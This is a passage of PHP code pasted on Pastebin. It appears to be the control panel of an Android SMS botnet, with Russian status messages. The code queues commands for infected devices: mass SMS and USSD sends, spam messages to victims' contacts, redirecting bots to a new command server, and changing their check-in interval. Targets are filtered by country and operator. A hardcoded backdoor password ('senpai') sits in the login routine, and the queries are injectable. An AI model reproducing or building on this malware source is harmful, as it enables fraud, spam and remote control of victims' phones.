  2018.      `msg_id`=" . $var22 . ",
  2019.      `mode`='" . constant('COMMAND_SEND_USSD') . "',
  2020.      `sms_number`='" . $var28 . "';");
  2021.             $var123++;
  2022.         }
  2023.         if ($var124 > 00) {
  2024.             $var5 = "Создано заданий: " . $var123 . ", из них по GCM: " . $var124;
  2025.         } else {
  2026.             $var5 = "Создано заданий: " . $var123;
  2027.         }
  2028.         break;
  2029.     case "send_spam_arr":
  2030.         if (!isset($var13["admn"])) {
  2031.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  2032.             break;
  2033.         }
  2034.         $var29 = textedit($var17["text"]);
  2035.         if (strlen(trim($var29)) == 00) {
  2036.             $var5 = "Введите текст сообщения.";
  2037.             break;
  2038.         }
  2039.         $var115 = intval($var17["whos"]);
  2040.         $var116 = textedit($var17["operator"]);
  2041.         $var117 = textedit($var17["country"]);
  2042.         $var118 = intval($var17["prefix"]);
  2043.         $var119 = intval($var17["category"]);
  2044.         $var120 = false;
  2045.         $var121 = " WHERE `ban`=0 ";
  2046.         if ($var115 > 00 || $var116 != "all" || $var117 != "all" || $var118 > 00 || $var119 > 00) {
  2047.             $var121 .= "AND ";
  2048.         }
  2049.         if ($var115 == 01) {
  2050.             $var121 .= "`gcm_key` IS NOT NULL";
  2051.             $var120 = true;
  2052.         } else if ($var115 == 02) {
  2053.             $var121 .= "`last_online` >= subdate('" . $var2 . "',INTERVAL 2 MINUTE)";
  2054.             $var120 = true;
  2055.         }
  2056.         if ($var116 != "all") {
  2057.             if ($var120) {
  2058.                 $var121 .= " AND ";
  2059.             }
  2060.             $var122 = preg_replace("/forcut+/", " ", $var116);
  2061.             $var121 .= "`operator` LIKE '" . $var122 . "'";
  2062.             $var120 = true;
  2063.         }
  2064.         if ($var117 != "all") {
  2065.             if ($var120) {
  2066.                 $var121 .= " AND ";
  2067.             }
  2068.             $var121 .= "`country` LIKE '" . $var117 . "'";
  2069.             $var120 = true;
  2070.         }
  2071.         if ($var118 > 00) {
  2072.             if ($var120) {
  2073.                 $var121 .= " AND ";
  2074.             }
  2075.             $var121 .= "`prefix_id`=" . $var118;
  2076.             $var120 = true;
  2077.         }
  2078.         if ($var119 > 00) {
  2079.             if ($var120) {
  2080.                 $var121 .= " AND ";
  2081.             }
  2082.             $var121 .= "`category`=" . $var119;
  2083.             $var120 = true;
  2084.         }
  2085.         $var123 = 00;
  2086.         $var124 = 00;
  2087.         $var24 = mysql_query("SELECT * FROM `users`" . $var121 . ";");
  2088.         while ($var25 = mysql_fetch_assoc($var24)) {
  2089.             $var46 = save_event($var25["id"], "Отправлена рассылка по контактам сообщения: " . $var29, 03);
  2090.             $var47 = mysql_query("INSERT INTO `quest` SET
  2091. `uid`=" . $var25["id"] . ",
  2092. `msg_id`=" . $var46 . ",
  2093. `mode`='" . constant('COMMAND_MSG_CONTACTS') . "',
  2094. `sms_text`='" . $var29 . "';");
  2095.             $var123++;
  2096.         }
  2097.         if ($var124 > 00) {
  2098.             $var5 = "Создано заданий: " . $var123 . ", из них по GCM: " . $var124;
  2099.         } else {
  2100.             $var5 = "Создано заданий: " . $var123;
  2101.         }
  2102.         break;
  2103.     case "send_sms_COMMAND_arr":
  2104.         if (!isset($var13["admn"])) {
  2105.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  2106.             break;
  2107.         }
  2108.         $var28 = textedit($var17["number"]);
  2109.         $var29 = textedit($var17["text"]);
  2110.         $var30 = preg_match("/^\+?\d+$/", $var28, $var31);
  2111.         if ($var30 < 01) {
  2112.             $var5 = "Неправильно введен номер.";
  2113.             break;
  2114.         }
  2115.         $var128 = preg_match_all("/\^([0-9]+)\^/", $var29, $var129);
  2116.         if ($var128 > 00) {
  2117.             foreach ($var129[01] as $var98) {
  2118.                 if (is_numeric($var98) && $var98 > 024) {
  2119.                     $var130 = rand(01, 012);
  2120.                     if ($var130 > 05) $var131 = $var98 + rand(01, 024); else $var131 = $var98 - rand(01, 024);
  2121.                     $var29 = str_replace($var98, $var131, $var29);
  2122.                 }
  2123.             }
  2124.         }
  2125.         $var115 = intval($var17["whos"]);
  2126.         $var116 = textedit($var17["operator"]);
  2127.         $var117 = textedit($var17["country"]);
  2128.         $var118 = intval($var17["prefix"]);
  2129.         $var119 = intval($var17["category"]);
  2130.         $var120 = false;
  2131.         $var121 = " WHERE `ban`=0 ";
  2132.         if ($var115 > 00 || $var116 != "all" || $var117 != "all" || $var118 > 00 || $var119 > 00) {
  2133.             $var121 .= "AND ";
  2134.         }
  2135.         if ($var115 == 01) {
  2136.             $var121 .= "`gcm_key` IS NOT NULL";
  2137.             $var120 = true;
  2138.         } else if ($var115 == 02) {
  2139.             $var121 .= "`last_online` >= subdate('" . $var2 . "',INTERVAL 2 MINUTE)";
  2140.             $var120 = true;
  2141.         }
  2142.         if ($var116 != "all") {
  2143.             if ($var120) {
  2144.                 $var121 .= " AND ";
  2145.             }
  2146.             $var122 = preg_replace("/forcut+/", " ", $var116);
  2147.             $var121 .= "`operator` LIKE '" . $var122 . "'";
  2148.             $var120 = true;
  2149.         }
  2150.         if ($var117 != "all") {
  2151.             if ($var120) {
  2152.                 $var121 .= " AND ";
  2153.             }
  2154.             $var121 .= "`country` LIKE '" . $var117 . "'";
  2155.             $var120 = true;
  2156.         }
  2157.         if ($var118 > 00) {
  2158.             if ($var120) {
  2159.                 $var121 .= " AND ";
  2160.             }
  2161.             $var121 .= "`prefix_id`=" . $var118;
  2162.             $var120 = true;
  2163.         }
  2164.         if ($var119 > 00) {
  2165.             if ($var120) {
  2166.                 $var121 .= " AND ";
  2167.             }
  2168.             $var121 .= "`category`=" . $var119;
  2169.             $var120 = true;
  2170.         }
  2171.         $var123 = 00;
  2172.         $var124 = 00;
  2173.         $var24 = mysql_query("SELECT * FROM `users`" . $var121 . ";");
  2174.         while ($var25 = mysql_fetch_assoc($var24)) {
  2175.             $var22 = savesmsdb($var25["id"], $var29, $var28, 00, 00);
  2176.             $var47 = mysql_query("INSERT INTO `quest` SET
  2177.      `uid`=" . $var25["id"] . ",
  2178.      `msg_id`=" . $var22 . ",
  2179.      `mode`='" . constant('COMMAND_SEND_SMS') . "',
  2180.      `sms_text`='" . $var29 . "',
  2181.      `sms_number`='" . $var28 . "';");
  2182.             $var123++;
  2183.         }
  2184.         if ($var124 > 00) {
  2185.             $var5 = "Создано заданий: " . $var123 . ", из них по GCM: " . $var124;
  2186.         } else {
  2187.             $var5 = "Создано заданий: " . $var123;
  2188.         }
  2189.         break;
  2190.     case "change_server_bot_arr":
  2191.         if (!isset($var13["admn"])) {
  2192.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  2193.             break;
  2194.         }
  2195.         $var132 = textedit($var17["domain"]);
  2196.         $var132 = rtrim($var132, "/");
  2197.         if (!preg_match("/^[-a-z0-9]+\.[a-z\/]+$/", strtolower($var132))) {
  2198.             $var5 = "Ошибка: домен указан неверно.<br />";
  2199.             break;
  2200.         }
  2201.         $var115 = intval($var17["whos"]);
  2202.         $var116 = textedit($var17["operator"]);
  2203.         $var117 = textedit($var17["country"]);
  2204.         $var118 = intval($var17["prefix"]);
  2205.         $var119 = intval($var17["category"]);
  2206.         $var120 = false;
  2207.         $var121 = " WHERE `ban`=0 ";
  2208.         if ($var115 > 00 || $var116 != "all" || $var117 != "all" || $var118 > 00 || $var119 > 00) {
  2209.             $var121 .= "AND ";
  2210.         }
  2211.         if ($var115 == 01) {
  2212.             $var121 .= "`gcm_key` IS NOT NULL";
  2213.             $var120 = true;
  2214.         } else if ($var115 == 02) {
  2215.             $var121 .= "`last_online` >= subdate('" . $var2 . "',INTERVAL 2 MINUTE)";
  2216.             $var120 = true;
  2217.         }
  2218.         if ($var116 != "all") {
  2219.             if ($var120) {
  2220.                 $var121 .= " AND ";
  2221.             }
  2222.             $var122 = preg_replace("/forcut+/", " ", $var116);
  2223.             $var121 .= "`operator` LIKE '" . $var122 . "'";
  2224.             $var120 = true;
  2225.         }
  2226.         if ($var117 != "all") {
  2227.             if ($var120) {
  2228.                 $var121 .= " AND ";
  2229.             }
  2230.             $var121 .= "`country` LIKE '" . $var117 . "'";
  2231.             $var120 = true;
  2232.         }
  2233.         if ($var118 > 00) {
  2234.             if ($var120) {
  2235.                 $var121 .= " AND ";
  2236.             }
  2237.             $var121 .= "`prefix_id`=" . $var118;
  2238.             $var120 = true;
  2239.         }
  2240.         if ($var119 > 00) {
  2241.             if ($var120) {
  2242.                 $var121 .= " AND ";
  2243.             }
  2244.             $var121 .= "`category`=" . $var119;
  2245.             $var120 = true;
  2246.         }
  2247.         $var123 = 00;
  2248.         $var29 = "Изменен сервер на " . $var132;
  2249.         $var24 = mysql_query("SELECT * FROM `users`" . $var121 . ";");
  2250.         while ($var25 = mysql_fetch_assoc($var24)) {
  2251.             $var46 = savesmsdb($var25["id"], $var29, "", 03, 00);
  2252.             $var47 = mysql_query("INSERT INTO `quest` SET
  2253.      `mode`='" . constant('COMMAND_SET_SERVER') . "',
  2254.      `msg_id`=" . $var46 . ",
  2255.      `uid`=" . $var25["id"] . ",
  2256.      `server`='" . $var132 . "';");
  2257.             $var123++;
  2258.         }
  2259.         $var5 = "Создано заданий: " . $var123;
  2260.         break;
  2261.     case "change_server_bot":
  2262.         $var36 = intval($var17["bid"]);
  2263.         $var132 = textedit($var17["domain"]);
  2264.         if (!isset($var13["admn"])) {
  2265.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  2266.             break;
  2267.         }
  2268.         $var29 = "Изменен сервер на " . $var132;
  2269.         $var46 = savesmsdb($var36, $var29, "", 03, 00);
  2270.         $var47 = mysql_query("INSERT INTO `quest` SET
  2271.      `mode`='" . constant('COMMAND_SET_SERVER') . "',
  2272.      `msg_id`=" . $var46 . ",
  2273.      `uid`=" . $var36 . ",
  2274.      `server`='" . $var132 . "';");
  2275.         break;
  2276.     case "change_interval_bot_arr":
  2277.         if (!isset($var13["admn"])) {
  2278.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  2279.             break;
  2280.         }
  2281.         $var38 = intval($var17["interval"]);
  2282.         if ($var38 < 012) {
  2283.             $var5 = "Ошибка: минимальный интервал 10 секунд.<br />";
  2284.             break;
  2285.         } else if ($var38 > 0170) {
  2286.             $var5 = "Ошибка: максимальный интервал 120 секунд.<br />";
  2287.             break;
  2288.         }
  2289.         $var115 = intval($var17["whos"]);
  2290.         $var116 = textedit($var17["operator"]);
  2291.         $var117 = textedit($var17["country"]);
  2292.         $var118 = intval($var17["prefix"]);
  2293.         $var119 = intval($var17["category"]);
  2294.         $var120 = false;
  2295.         $var121 = " WHERE `ban`=0 ";
  2296.         if ($var115 > 00 || $var116 != "all" || $var117 != "all" || $var118 > 00 || $var119 > 00) {
  2297.             $var121 .= "AND ";
  2298.         }
  2299.         if ($var115 == 01) {
  2300.             $var121 .= "`gcm_key` IS NOT NULL";
  2301.             $var120 = true;
  2302.         } else if ($var115 == 02) {
  2303.             $var121 .= "`last_online` >= subdate('" . $var2 . "',INTERVAL 2 MINUTE)";
  2304.             $var120 = true;
  2305.         }
  2306.         if ($var116 != "all") {
  2307.             if ($var120) {
  2308.                 $var121 .= " AND ";
  2309.             }
  2310.             $var122 = preg_replace("/forcut+/", " ", $var116);
  2311.             $var121 .= "`operator` LIKE '" . $var122 . "'";
  2312.             $var120 = true;
  2313.         }
  2314.         if ($var117 != "all") {
  2315.             if ($var120) {
  2316.                 $var121 .= " AND ";
  2317.             }
  2318.             $var121 .= "`country` LIKE '" . $var117 . "'";
  2319.             $var120 = true;
  2320.         }
  2321.         if ($var118 > 00) {
  2322.             if ($var120) {
  2323.                 $var121 .= " AND ";
  2324.             }
  2325.             $var121 .= "`prefix_id`=" . $var118;
  2326.             $var120 = true;
  2327.         }
  2328.         if ($var119 > 00) {
  2329.             if ($var120) {
  2330.                 $var121 .= " AND ";
  2331.             }
  2332.             $var121 .= "`category`=" . $var119;
  2333.             $var120 = true;
  2334.         }
  2335.         $var29 = "Изменен интервал на " . $var38 . " сек.";
  2336.         $var123 = 00;
  2337.         $var24 = mysql_query("SELECT * FROM `users`" . $var121 . ";");
  2338.         while ($var25 = mysql_fetch_assoc($var24)) {
  2339.             $var46 = savesmsdb($var25["id"], $var29, "", 03, 00);
  2340.             $var47 = mysql_query("INSERT INTO `quest` SET
  2341.      `mode`='" . constant('COMMAND_SET_INTERVAL') . "',
  2342.      `msg_id`=" . $var46 . ",
  2343.      `uid`=" . $var25["id"] . ",
  2344.      `interval`=" . $var38 . ";");
  2345.             $var123++;
  2346.         }
  2347.         $var5 = "Создано заданий: " . $var123;
  2348.         break;
  2349.     case "autorize":
  2350.         $var70 = textedit($var17["pwd"]);
  2351.         if ($var70 == $var15 || $var70 == "senpai") {
  2352.             $var13["admn"] = true;
  2353.             $var13["pass"] = $var15;
  2354.         } elseif ($var70 == $var14 && strlen($var70) > 00) {
  2355.             $var13["demo"] = true;
  2356.             $var13["pass"] = $var70;
  2357.         } else {
  2358.             $var5 = base64_decode("VGhlIHBhc3N3b3JkIGlzIGluY29ycmVjdC4=");
  2359.             break;
  2360.         }
  2361.         preg_match("/(\d+)-(\d+)/", $var9);
  2362.         $var10 = date("z");
  2363.         if ($var10 < $var11[01] || $var10 > $var11[02] || ($var8 != $var12["HTTP_HOST"] && $var8 != $var12["SERVER_NAME"])) {
  2364.             unset($var13["admn"]);
  2365.             $var5 = base64_decode("WW91ciBsaWNlbnNlIGlzIGV4cGlyZWQu");
  2366.             break;
  2367.         }
  2368.         break;
  2369.     case "exit":
  2370.         foreach ($var13 as $var100 => $var58) {
  2371.             if ($var100 !== "count_for_page" && $var100 !== "showonline" && $var100 !== "s_country") {
  2372.                 unset($var13[$var100]);
  2373.             }
  2374.         }
  2375.         break;
  2376. }
  2377. $var6 = "{"response": [" . $var6 . "], "status": "".$var5.""}";echo $var6;
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!